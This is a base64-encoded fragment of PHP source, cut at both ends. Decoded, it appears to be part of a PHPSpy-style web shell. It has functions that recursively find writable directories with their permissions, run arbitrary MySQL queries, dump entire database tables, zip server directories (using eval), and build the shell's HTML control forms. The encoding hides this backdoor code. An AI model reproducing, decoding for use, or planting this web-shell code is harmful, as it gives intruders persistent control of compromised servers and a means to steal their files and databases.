HQgPT0gMCkgeyANCiAgICAgICAgcmV0dXJuICdObyc7IA0KICAgIH0gZWxzZWlmICgkcmVzdWx0ID09IDEpIHsgDQogICAgICAgIHJldHVybiAnWWVzJzsgDQogICAgfSBlbHNlIHsgDQogICAgICAgIHJldHVybiAkcmVzdWx0OyANCiAgICB9IA0KfSANCg0KLy8gICAgPyAgICAgICANCmZ1bmN0aW9uIGdldGZ1bigkZnVuTmFtZSkgeyANCiAgICByZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICdZZXMnIDogJ05vJzsgDQp9IA0KDQpmdW5jdGlvbiBHZXRMaXN0KCRkaXIpeyANCiAgICBnbG9iYWwgJGRpcmRhdGEsJGosJG5vd3BhdGg7IA0KICAgICEkaiAmJiAkaj0xOyANCiAgICBpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgeyANCiAgICAgICAgd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7IA0KICAgICAgICAgICAgJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOyANCiAgICAgICAgICAgIGlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZGlyKCRmKSl7IA0KICAgICAgICAgICAgICAgIGlmIChpc193cml0YWJsZSgkZikpIHsgDQogICAgICAgICAgICAgICAgICAgICRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7IA0KICAgICAgICAgICAgICAgICAgICAkZGlyZGF0YVskal1bJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGYpKTsgDQogICAgICAgICAgICAgICAgICAgICRkaXJkYXRhWyRqXVsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZik7IA0KICAgICAgICAgICAgICAgICAgICAkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7IA0KICAgICAgICAgICAgICAgICAgICAkZGlyZGF0YVskal1bJ2RpcmxpbmsnXT11ZSgkZGlyKTsgDQogICAgICAgICAgICAgICAgICAgICRkaXJkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0kZjsgDQogICAgICAgICAgICAgICAgICAgICRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7IA0KICAgICAgICAgICAgICAgICAgICAkaisrOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIEdldExpc3QoJGYpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIGNsb3NlZGlyKCRkaCk7IA0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOyANCiAgICAgICAgcmV0dXJuICRkaXJkYXRhOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgcmV0dXJuIGFycmF5KCk7IA0KICAgIH0gDQp9IA0KDQpmdW5jdGlvbiBxeSgkc3FsKSB7ICANCiAgICAvL2VjaG8gJHNxbC4nPGJyPic7IA0KICAgICRyZXMgPSAkZXJyb3IgPSAnJzsgDQogICAgaWYoISRyZXMgPSBAbXlzcWxfcXVlcnkoJHNxbCkpIHsgIA0KICAgICAgICByZXR1cm4gMDsgDQogICAgfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7IA0KICAgICAgICByZXR1cm4gMTsgIA0KICAgIH0gZWxzZSB7IA0KICAgICAgICByZXR1cm4gMjsgDQogICAgfSAgICAgDQogICAgcmV0dXJuIDA7IA0KfSANCg0KZnVuY3Rpb24gcSgkc3FsKSB7ICANCiAgICByZXR1cm4gQG15c3FsX3F1ZXJ5KCRzcWwpOyANCn0gDQoNCmZ1bmN0aW9uIGZyKCRxeSl7IA0KICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRxeSk7IA0KfSANCg0KZnVuY3Rpb24gc2l6ZWNvdW50KCRzaXplKSB7IA0KICAgIGlmKCRzaXplID4gMTA3Mzc0MTgyNCkgeyANCiAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsgDQogICAgfSBlbHNlaWYoJHNpemUgPiAxMDQ4NTc2KSB7IA0KICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTA0ODU3NiAqIDEwMCkgLyAxMDAgLiAnIE0nOyANCiAgICB9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsgDQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICAkc2l6ZSA9ICRzaXplIC4gJyBCJzsgDQogICAgfSANCiAgICByZXR1cm4gJHNpemU7IA0KfSANCg0KLy8gPyAgICAgICAgIA0KY2xhc3MgUEhQWmlweyANCiAgICB2YXIgJG91dD0nJzsgDQogICAgZnVuY3Rpb24gUEhQWmlwKCRkaXIpICAgIHsgDQogICAgICAgIGlmIChAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpICAgIHsgDQogICAgICAgICAgICAkY3VyZGlyID0gZ2V0Y3dkKCk7IA0KICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOyANCiAgICAgICAgICAgIGVsc2V7IA0KICAgICAgICAgICAgICAgICRmaWxlbGlzdD0kdGhpcyAtPiBHZXRGaWxlTGlzdCgkZGlyKTsvLyA/ICA/ICANCiAgICAgICAgICAgICAgICBmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGlmICgoIWVtcHR5KCRkaXIpKSYmKCFpc19hcnJheSgkZGlyKSkmJihmaWxlX2V4aXN0cygkZGlyKSkpIGNoZGlyKCRkaXIpOyANCiAgICAgICAgICAgIGVsc2UgY2hkaXIoJGN1cmRpcik7IA0KICAgICAgICAgICAgaWYgKGNvdW50KCRmaWxlbGlzdCk+MCl7IA0KICAgICAgICAgICAgICAgIGZvcmVhY2goJGZpbGVsaXN0IGFzICRmaWxlbmFtZSl7IA0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsgDQogICAgICAgICAgICAgICAgICAgICAgICAkZmQgPSBmb3BlbiAoJGZpbGVuYW1lLCAncicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gQGZyZWFkICgkZmQsIGZpbGVzaXplKCRmaWxlbmFtZSkpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSAoJGZkKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGRpcikpICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRmaWxlbmFtZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMgLT4gYWRkRmlsZSgkY29udGVudCwgJGZpbGVuYW1lKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkdGhpcy0+b3V0ID0gJHRoaXMgLT4gZmlsZSgpOyANCiAgICAgICAgICAgICAgICBjaGRpcigkY3VyZGlyKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIDE7IA0KICAgICAgICB9IA0KICAgICAgICBlbHNlIHJldHVybiAwOyANCiAgICB9IA0KDQogICAgLy8gICAgID8gID/CvCA/ICA/ICANCiAgICBmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsgDQogICAgICAgIHN0YXRpYyAkYTsgDQogICAgICAgIGlmIChpc19kaXIoJGRpcikpIHsgDQogICAgICAgICAgICBpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgeyANCiAgICAgICAgICAgICAgICB3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsgDQogICAgICAgICAgICAgICAgICAgIGlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRmPSRkaXIgLicvJy4gJGZpbGU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRmKSkgJHRoaXMtPkdldEZpbGVMaXN0KCRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkYVtdPSRmOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgcmV0dXJuICRhOyANCiAgICB9IA0KDQogICAgdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOyANCiAgICB2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7IA0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsgDQogICAgdmFyICRvbGRfb2Zmc2V0ICAgPSAwOyANCg0KICAgIGZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7IA0KICAgICAgICAkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsgDQogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7IA0KICAgICAgICAgICAgJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsgDQogICAgICAgICAgICAkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOyANCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7IA0KICAgICAgICAgICAgJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsgDQogICAgICAgICAgICAkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOyANCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7IA0KICAgICAgICB9IC8vIGVuZCBpZiANCiAgICAgICAgcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwgDQogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7IA0KICAgIH0gDQoNCiAgICBmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7IA0KICAgICAgICAkbmFtZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOyANCg0KICAgICAgICAkZHRpbWUgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOyANCiAgICAgICAgJGhleGR0aW1lICAgID0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XSANCiAgICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdIA0KICAgICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMl0gLiAkZHRpbWVbM10gDQogICAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsgDQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7IA0KICAgICAgICAkZnIgICAgPSAiXHg1MFx4NGJceDAzXHgwNCI7IA0KICAgICAgICAkZnIgICAgLj0gIlx4MTRceDAwIjsgDQogICAgICAgICRmciAgICAuPSAiXHgwMFx4MDAiOyANCiAgICAgICAgJGZyICAgIC49ICJceDA4XHgwMCI7IA0KICAgICAgICAkZnIgICAgLj0gJGhleGR0aW1lOyANCg0KICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7IA0KICAgICAgICAkY3JjID0gY3JjMzIoJGRhdGEpOyANCiAgICAgICAgJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7IA0KICAgICAgICAkY19sZW4gPSBzdHJsZW4oJHpkYXRhKTsgDQogICAgICAgICR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsgDQogICAgICAgICRmciAuPSBwYWNrKCdWJywgJGNyYyk7IA0KICAgICAgICAkZnIgLj0gcGFjaygnVicsICRjX2xlbik7IA0KICAgICAgICAkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsgDQogICAgICAgICRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7IA0KICAgICAgICAkZnIgLj0gcGFjaygndicsIDApOyANCiAgICAgICAgJGZyIC49ICRuYW1lOyANCiAgICAgICAgJGZyIC49ICR6ZGF0YTsgDQogICAgICAgICRmciAuPSBwYWNrKCdWJywgJGNyYyk7IA0KICAgICAgICAkZnIgLj0gcGFjaygnVicsICRjX2xlbik7IA0KICAgICAgICAkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsgDQoNCiAgICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOyANCiAgICAgICAgJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsgDQoNCiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOyANCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7IA0KICAgICAgICAkY2RyZWMgLj0gIlx4MTRceDAwIjsgDQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOyANCiAgICAgICAgJGNkcmVjIC49ICJceDA4XHgwMCI7IA0KICAgICAgICAkY2RyZWMgLj0gJGhleGR0aW1lOyANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOyANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOyANCiAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0OyANCiAgICAgICAgJGNkcmVjIC49ICRuYW1lOyANCg0KICAgICAgICAkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOyANCiAgICB9IA0KDQogICAgZnVuY3Rpb24gZmlsZSgpIHsgDQogICAgICAgICRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7IA0KICAgICAgICAkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsgDQogICAgICAgIHJldHVybiAkZGF0YSAuICRjdHJsZGlyIC4gJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gIlx4MDBceDAwIjsgDQogICAgfSANCn0gDQoNCi8vICAgICAgICA/ICANCmZ1bmN0aW9uIHNxbGR1bXB0YWJsZSgkdGFibGUsICRmcD0wKSB7IA0KICAgICR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIjsgDQogICAgJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOyANCg0KICAgICRmaXJzdGZpZWxkPTE7IA0KDQogICAgJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7IA0KICAgIHdoaWxlICgkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSgkZmllbGRzKSkgeyANCiAgICAgICAgaWYgKCEkZmlyc3RmaWVsZCkgeyANCiAgICAgICAgICAgICR0YWJsZWR1bXAgLj0gIixcbiI7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICRmaXJzdGZpZWxkPTA7IA0KICAgICAgICB9IA0KICAgICAgICAkdGFibGVkdW1wIC49ICIgICAkZmllbGRbRmllbGRdICRmaWVsZFtUeXBlXSI7IA0KICAgICAgICBpZiAoIWVtcHR5KCRmaWVsZFsiRGVmYXVsdCJdKSkgeyANCiAgICAgICAgICAgICR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsgDQogICAgICAgIH0gDQogICAgICAgIGlmICgkZmllbGRbJ051bGwnXSAhPSAiWUVTIikgeyANCiAgICAgICAgICAgICR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7IA0KICAgICAgICB9IA0KICAgICAgICBpZiAoJGZpZWxkWydFeHRyYSddICE9ICIiKSB7IA0KICAgICAgICAgICAgJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGZyKCRmaWVsZHMpOyANCg0KICAgICRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7IA0KICAgIHdoaWxlICgka2V5ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGtleXMpKSB7IA0KICAgICAgICAka25hbWU9JGtleVsnS2V5X25hbWUnXTsgDQogICAgICAgIGlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7IA0KICAgICAgICAgICAgJGtuYW1lPSJVTklRVUV8JGtuYW1lIjsgDQogICAgICAgIH0gDQogICAgICAgIGlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsgDQogICAgICAgICAgICAkaW5kZXhbJGtuYW1lXSA9IGFycmF5KCk7IA0KICAgICAgICB9IA0KICAgICAgICAkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsgDQogICAgfSANCiAgICBmcigka2V5cyk7IA0KDQogICAgd2hpbGUobGlzdCgka25hbWUsICRjb2x1bW5zKSA9IEBlYWNoKCRpbmRleCkpIHsgDQogICAgICAgICR0YWJsZWR1bXAgLj0gIixcbiI7IA0KICAgICAgICAkY29sbmFtZXM9aW1wbG9kZSgkY29sdW1ucywiLCIpOyANCg0KICAgICAgICBpZiAoJGtuYW1lID09ICJQUklNQVJZIikgeyANCiAgICAgICAgICAgICR0YWJsZWR1bXAgLj0gIiAgIFBSSU1BUlkgS0VZICgkY29sbmFtZXMpIjsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgaWYgKHN1YnN0cigka25hbWUsMCw2KSA9PSAiVU5JUVVFIikgeyANCiAgICAgICAgICAgICAgICAka25hbWU9c3Vic3RyKCRrbmFtZSw3KTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgJHRhYmxlZHVtcCAuPSAiICAgS0VZICRrbmFtZSAoJGNvbG5hbWVzKSI7IA0KICAgICAgICB9IA0KICAgIH0gDQoNCiAgICAkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7IA0KICAgIGlmICgkZnApIHsgDQogICAgICAgIGZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICBlY2hvICR0YWJsZWR1bXA7IA0KICAgIH0gDQoNCiAgICAkcm93cyA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlIik7IA0KICAgICRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsgDQogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cykpIHsgDQogICAgICAgICR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOyANCg0KICAgICAgICAkZmllbGRjb3VudGVyPS0xOyANCiAgICAgICAgJGZpcnN0ZmllbGQ9MTsgDQogICAgICAgIHdoaWxlICgrKyRmaWVsZGNvdW50ZXI8JG51bWZpZWxkcykgeyANCiAgICAgICAgICAgIGlmICghJGZpcnN0ZmllbGQpIHsgDQogICAgICAgICAgICAgICAgJHRhYmxlZHVtcC49IiwgIjsgDQogICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAkZmlyc3RmaWVsZD0wOyANCiAgICAgICAgICAgIH0gDQoNCiAgICAgICAgICAgIGlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsgDQogICAgICAgICAgICAgICAgJHRhYmxlZHVtcCAuPSAiTlVMTCI7IA0KICAgICAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICAgICAgJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCg0KICAgICAgICAkdGFibGVkdW1wIC49ICIpO1xuIjsgDQoNCiAgICAgICAgaWYgKCRmcCkgeyANCiAgICAgICAgICAgIGZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgIGVjaG8gJHRhYmxlZHVtcDsgDQogICAgICAgIH0gDQogICAgfSANCiAgICBmcigkcm93cyk7IA0KICAgIGlmICgkZnApIHsgDQogICAgICAgIGZ3cml0ZSgkZnAsIlxuIik7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICBlY2hvICJcbiI7IA0KICAgIH0gDQp9IA0KDQpmdW5jdGlvbiB1ZSgkc3RyKXsgDQogICAgcmV0dXJuIHVybGVuY29kZSgkc3RyKTsgDQp9IA0KDQpmdW5jdGlvbiBwKCRzdHIpeyANCiAgICBlY2hvICRzdHIuIlxuIjsgDQp9IA0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7IA0KICAgIHAoJzx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiPicpOyANCn0gDQpmdW5jdGlvbiB0YmZvb3QoKXsgDQogICAgcCgnPC90YWJsZT4nKTsgDQp9IA0KDQpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFsdWU9JycpeyANCiAgICBwKCI8aW5wdXQgaWQ9XCIkbmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7IA0KfSANCg0KZnVuY3Rpb24gbWFrZWlucHV0KCRhcmcgPSBhcnJheSgpKXsgDQogICAgJGFyZ1snc2l6ZSddID0gJGFyZ1snc2l6ZSddID4gMCA/ICJzaXplPVwiJGFyZ1tzaXplXVwiIiA6ICJzaXplPVwiMTAwXCIiOyANCiAgICAkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsgDQogICAgISRhcmdbJ3R5cGUnXSAmJiAkYXJnWyd0eXBlJ10gPSAndGV4dCc7IA0KICAgICRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOyANCiAgICAkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOyANCiAgICBpZiAoJGFyZ1snbmV3bGluZSddKSB7IA0KICAgICAgICBwKCI8cD4kYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+PC9wPiIpOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgcCgiJGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPiIpOyANCiAgICB9IA0KfSANCg0KZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7IA0KICAgIGlmICgkYXJnWydvbmNoYW5nZSddKSB7IA0KICAgICAgICAkb25jaGFuZ2UgPSAnb25jaGFuZ2U9IicuJGFyZ1snb25jaGFuZ2UnXS4nIic7IA0KICAgIH0gDQogICAgJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddIDogJyc7IA0KICAgIGlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzxwPicpOyANCiAgICBwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsgDQogICAgICAgIGlmIChpc19hcnJheSgkYXJnWydvcHRpb24nXSkpIHsgDQogICAgICAgICAgICBmb3JlYWNoICgkYXJnWydvcHRpb24nXSBhcyAka2V5PT4kdmFsdWUpIHsgDQogICAgICAgICAgICAgICAgaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsgDQogICAgICAgICAgICAgICAgICAgIHAoIjxvcHRpb24gdmFsdWU9XCIka2V5XCIgc2VsZWN0ZWQ+JHZhbHVlPC9vcHRpb24+Iik7IA0KICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICBwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICBwKCI8L3NlbGVjdD4iKTsgDQogICAgaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPC9wPicpOyANCn0gDQpmdW5jdGlvbiBmb3JtaGVhZCgkYXJnID0gYXJyYXkoKSkgeyANCiAgICAhJGFyZ1snbWV0aG9kJ10gJiYgJGFyZ1snbWV0aG9kJ10gPSAncG9zdCc7IA0KICAgICEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOyANCiAgICAkYXJnWyd0YXJnZXQnXSA9ICRhcmdbJ3RhcmdldCddID8gInRhcmdldD1cIiRhcmdbdGFyZ2V0XVwiIiA6ICcnOyANCiAgICAhJGFyZ1snbmFtZSddICYmICRhcmdbJ25hbWUnXSA9ICdmb3JtMSc7IA0KICAgIHAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOyANCiAgICBpZiAoJGFyZ1sndGl0bGUnXSkgeyANCiAgICAgICAgcCgnPGgyPicuJGFyZ1sndGl0bGUnXS4nICZyYXF1bzs8L2gyPicpOyANCiAgICB9IA0KfSANCiAgICAgDQpmdW5jdGlvbiBtYWtldGV4dCgkYXJnID0gYXJyYXkoKSl7IA0KICAgICEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOyANCiAgICAhJGFyZ1sncm93cyddICYmICRhcmdbJ3Jvd3MnXSA9IDI1OyANCiAgICAkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10uJzxiciAvPicgOiAnJzsgDQogICAgcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsgDQp9IA0KDQpmdW5jdGlvbiBmb3JtZm9vdGVyKCRuYW1lID0gJycpeyANCiAgICAhJG5hbWUgJiYgJG5hbWUgPSAnc3VibWl0JzsgDQogICAgcCgnPHA+PGlucHV0IGNsYXNzPS